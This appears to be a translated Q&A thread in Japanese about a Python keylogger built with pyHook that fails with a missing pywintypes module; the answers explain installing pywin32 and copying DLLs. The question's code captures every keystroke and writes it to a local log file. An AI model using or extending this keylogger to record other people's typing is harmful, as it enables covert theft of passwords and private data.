私は、pyHook、pythoncom、およびPywin32モジュールを使用して、Pythonで小さなキーロガーを作成する作業をしています。これが私のコードです:
import pyHook, pythoncom, sys, logging
file_log = 'C:\\important\\log.txt'
def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10, chr(Event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
実行すると、次のエラーメッセージが返されます。
File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in <module>
import pywintypes
ImportError: No module named pywintypes
このエラーを修正するにはどうすればよいですか?
pywintypes
は Python for Windows extensions の一部であり、pywin32としても知られています。 pywintypes
にアクセスするには、それをインストールする必要があります。
これを書いている時点では、pywin32
のメンテナはPyPIにファイルをアップロードしないため、 http://pywin32.sf.net から適切なバージョンのインストーラを入手する必要があります。
pip install pypiwin32
私のために働いた
私にとっては、ファイル(pythoncom38.dllおよびpywintypes38.dll)を次の場所からコピーするために機能しました:
C:\Users\"Your user id"\AppData\Roaming\Python\Python38\site-packages\pywin32_system32
パスへ:
C:\Users\"Your user id"\AppData\Roaming\Python\Python38\site-packages\win32\lib
そして
C:\Users\"Your user id"\AppData\Roaming\Python\Python38\site-packages\win32
Pythoncom34.dllとpywintypes34.dllをC:\ Python34 \に追加するだけです
私の答えは少し遅いのですが、この問題に出くわします。 pywin32とpypiwin32の両方が私のvirtualenvにインストールされており、アプリはテスト中に正常に動作しています。 pyinstallerを実行してexeをビルドすると、このエラーが表示されました。
解決策:pyinstallerが自分のexeをビルドするには、pywin32とpypiwin32をベースにインストールする必要がありましたpython env(virtualenvではない))。